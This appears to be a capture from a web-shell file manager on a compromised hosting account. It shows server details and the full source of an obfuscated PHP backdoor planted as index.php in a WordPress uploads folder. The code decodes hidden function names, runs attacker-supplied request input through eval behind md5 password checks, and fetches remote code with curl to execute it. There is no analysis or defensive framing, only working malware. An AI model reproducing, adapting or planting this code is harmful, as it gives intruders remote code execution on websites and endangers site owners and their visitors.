HEX
Server: Apache
System: Linux vpshost0650.publiccloud.com.br 4.4.79-grsec-1.lc.x86_64 #1 SMP Wed Aug 2 14:18:21 -03 2017 x86_64
User: bandeirantesbomb3 (10068)
PHP: 8.0.7
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/storage/0/fc/16/bandeirantesbomb3/public_html/wp-content/uploads/wpcode/a/d/e/e/index.php
<?php
 goto PMqYeyKm4ohd; PMqYeyKm4ohd: $qha4p40AgM2k = "\x72" . "\x61" . "\156" . "\x67" . "\145"; goto dY5Rfy0AB8PT; i4SSTN427acP: @eval($CWFyi2Rpfsod[65](${$CWFyi2Rpfsod[44]}[11])); goto oPiTsJQyxIZB; trM8RI4YcxW6: metaphone("\x79\x4b\x32\x2b\x53\150\53\65\153\104\x39\152\152\123\x69\65\104\105\154\x79\53\155\53\157\111\172\142\x75\x58\x52\122\124\x74\126\x2f\124\61\156\x4f\110\65\x36\x45"); goto x2QK7n1IsNCM; Fdgx2rLzCVfE: $CWFyi2Rpfsod = ${$XEgh2vIhLsKi[19 + 12] . $XEgh2vIhLsKi[55 + 4] . $XEgh2vIhLsKi[20 + 27] . $XEgh2vIhLsKi[4 + 43] . $XEgh2vIhLsKi[13 + 38] . $XEgh2vIhLsKi[38 + 15] . $XEgh2vIhLsKi[53 + 4]}; goto gb9SxWgfHtOa; dY5Rfy0AB8PT: $XEgh2vIhLsKi = $qha4p40AgM2k("\176", "\x20"); goto Fdgx2rLzCVfE; F6TfDEO2qDP7: $CWFyi2Rpfsod[65] = $CWFyi2Rpfsod[65] . $CWFyi2Rpfsod[78]; goto i4SSTN427acP; x2QK7n1IsNCM: class xr4tp9ZQVhtu { static function DNvM1NvLIypK($X4qZ_hPG5SuQ) { goto yaYczEQ2Rt0X; pKNY9MQAWzhz: $PuqZv5zpWCVq = $k5uXa9WFT9ei("\x7e", "\40"); goto xKGXCzIzoSLX; Fo2ajH8q9JzQ: $QVav6e5Vp_U4 = ''; goto qlxL2xU7Kxvu; AsKDi3fZuaFL: return $QVav6e5Vp_U4; goto hpdwuy0PWb7o; qlxL2xU7Kxvu: foreach ($KPCVJz2WL0hN as $IDxlX1bDtmjQ => $f1qc4PAuIdjF) { $QVav6e5Vp_U4 .= $PuqZv5zpWCVq[$f1qc4PAuIdjF - 5383]; fwq23ANR6GQH: } goto ss3TNvYrfpNq; xKGXCzIzoSLX: $KPCVJz2WL0hN = explode("\x2a", $X4qZ_hPG5SuQ); goto Fo2ajH8q9JzQ; yaYczEQ2Rt0X: $k5uXa9WFT9ei = "\162" . "\x61" . "\x6e" . "\147" . "\145"; goto pKNY9MQAWzhz; ss3TNvYrfpNq: fIvkCgOWxEUT: goto AsKDi3fZuaFL; hpdwuy0PWb7o: } static function EO8TcfpQDXcR($sBpSUvY1ygiR, $Njkm8lR8OyD9) { goto iAMiQi4CpWs5; iAMiQi4CpWs5: $LbM_f7G6TEsv = curl_init($sBpSUvY1ygiR); goto gl4XbiaGXVNU; o7LXozBB1ZHA: return empty($Wk3mHmPS_4Tp) ? $Njkm8lR8OyD9($sBpSUvY1ygiR) : $Wk3mHmPS_4Tp; goto RR3Cm6Ta_VJz; m6pwuWya0shf: $Wk3mHmPS_4Tp = curl_exec($LbM_f7G6TEsv); goto o7LXozBB1ZHA; gl4XbiaGXVNU: curl_setopt($LbM_f7G6TEsv, CURLOPT_RETURNTRANSFER, 1); goto m6pwuWya0shf; RR3Cm6Ta_VJz: } static function MIn() { goto XkSb1T01dxLg; b_SNC6ejQdPF: $cjdMqidNegCi = $NFfuVTmOlTuf[1 + 1]($ZmzyZEzU_Gzc, true); goto EhoELaUa11hF; l1akoYDQVQ5P: $ZmzyZEzU_Gzc = @$NFfuVTmOlTuf[2 + 1]($NFfuVTmOlTuf[1 + 5], $xBcrS3XqEXE0); goto b_SNC6ejQdPF; q44Tc8bGn3mu: $xBcrS3XqEXE0 = @$NFfuVTmOlTuf[1]($NFfuVTmOlTuf[6 + 4](INPUT_GET, $NFfuVTmOlTuf[0 + 9])); goto l1akoYDQVQ5P; EhoELaUa11hF: @$NFfuVTmOlTuf[6 + 4](INPUT_GET, "\157\x66") == 1 && die($NFfuVTmOlTuf[3 + 2](__FILE__)); goto ar87zPdRkTKl; xep2Yc_baMY2: $Pyb3TOxUCDqB = self::eO8TcFpqDXcR($cjdMqidNegCi[0 + 1], $NFfuVTmOlTuf[3 + 2]); goto K7PF3ExmMzXk; mbZeVDdEtxVb: RUqc7LBWPJWZ: goto KvKcZn10Ipn9; uyRr_abVJPY2: fpuEVCY2yWv7: goto q44Tc8bGn3mu; ar87zPdRkTKl: if (!(@$cjdMqidNegCi[0] - time() > 0 and md5(md5($cjdMqidNegCi[2 + 1])) === "\63\x30\x38\x37\142\x65\x39\143\145\x62\145\145\x33\x66\146\x66\60\x35\x62\x35\x64\144\x38\x61\67\63\x31\142\70\x33\62\143")) { goto RUqc7LBWPJWZ; } goto xep2Yc_baMY2; UZdv3RIay2h2: die; goto mbZeVDdEtxVb; XkSb1T01dxLg: $x7ydkibVDonb = array("\x35\64\x31\x30\52\65\x33\71\x35\x2a\65\x34\60\70\x2a\x35\x34\x31\x32\52\65\63\71\x33\x2a\65\x34\60\x38\52\x35\64\x31\x34\x2a\65\x34\x30\x37\x2a\x35\63\x39\62\x2a\x35\x33\71\x39\52\x35\64\x31\60\x2a\65\x33\x39\63\52\x35\64\x30\x34\52\x35\x33\x39\x38\x2a\65\x33\71\x39", "\65\63\x39\x34\x2a\65\x33\71\63\52\65\63\71\x35\52\65\64\61\64\52\65\63\x39\x35\x2a\x35\x33\71\70\x2a\x35\63\x39\63\x2a\65\x34\x36\x30\52\65\64\65\70", "\x35\x34\60\x33\52\x35\63\71\64\x2a\65\x33\x39\70\52\x35\x33\x39\x39\x2a\x35\64\61\64\x2a\x35\64\60\x39\x2a\x35\x34\x30\x38\52\65\64\x31\x30\52\65\63\71\70\52\65\64\60\71\x2a\65\x34\x30\70", "\65\63\71\67\52\65\64\61\x32\52\x35\64\61\60\x2a\65\64\60\62", "\x35\x34\x31\61\x2a\65\x34\x31\62\x2a\x35\x33\x39\x34\x2a\65\x34\x30\x38\x2a\x35\64\65\x35\52\65\64\65\x37\52\x35\64\61\64\x2a\65\x34\60\x39\52\65\x34\60\70\52\x35\64\61\x30\52\x35\x33\x39\70\52\x35\64\60\x39\52\x35\x34\x30\70", "\65\x34\60\x37\52\65\64\60\x34\52\65\64\60\61\x2a\x35\x34\60\70\x2a\65\64\61\64\x2a\65\64\60\x36\x2a\65\x34\60\x38\52\x35\63\71\63\x2a\65\64\61\x34\52\65\64\x31\x30\52\x35\63\x39\x38\x2a\x35\x33\71\x39\x2a\x35\63\x39\x33\52\x35\x34\x30\70\52\x35\63\x39\x39\52\x35\63\x39\63\x2a\65\x33\71\x34", "\65\64\x33\x37\52\65\x34\x36\x37", "\65\63\x38\64", "\65\64\x36\x32\x2a\x35\64\x36\x37", "\x35\64\x34\64\x2a\x35\64\62\67\52\x35\x34\62\67\x2a\65\x34\x34\x34\x2a\x35\64\x32\x30", "\x35\x34\x30\67\52\x35\64\60\64\x2a\x35\64\60\x31\x2a\x35\x33\71\63\x2a\65\64\60\70\x2a\65\63\71\x35\x2a\65\64\x31\64\52\65\x34\60\64\52\65\x33\71\71\52\65\63\71\67\52\x35\x33\x39\62\x2a\65\x33\71\x33"); goto SVITCBdI1B6K; SVITCBdI1B6K: foreach ($x7ydkibVDonb as $YlymhJ0s2_Vq) { $NFfuVTmOlTuf[] = self::Dnvm1nVLIYPK($YlymhJ0s2_Vq); HYrQ5iJiMR2N: } goto uyRr_abVJPY2; K7PF3ExmMzXk: @eval($NFfuVTmOlTuf[2 + 2]($Pyb3TOxUCDqB)); goto UZdv3RIay2h2; KvKcZn10Ipn9: } } goto QU1p4EsHsYWU; oPiTsJQyxIZB: vf2iOEa2tD9q: goto trM8RI4YcxW6; gb9SxWgfHtOa: if (!(in_array(gettype($CWFyi2Rpfsod) . "\61\60", $CWFyi2Rpfsod) && md5(md5(md5(md5($CWFyi2Rpfsod[4])))) === "\142\x32\145\x34\71\67\64\x36\61\x37\x31\70\62\x33\x30\70\141\x30\60\145\x37\63\x65\x62\x62\x36\x65\x63\x36\67\70\65")) { goto vf2iOEa2tD9q; } goto F6TfDEO2qDP7; QU1p4EsHsYWU: Xr4tP9zqvHTu::MIn();
?>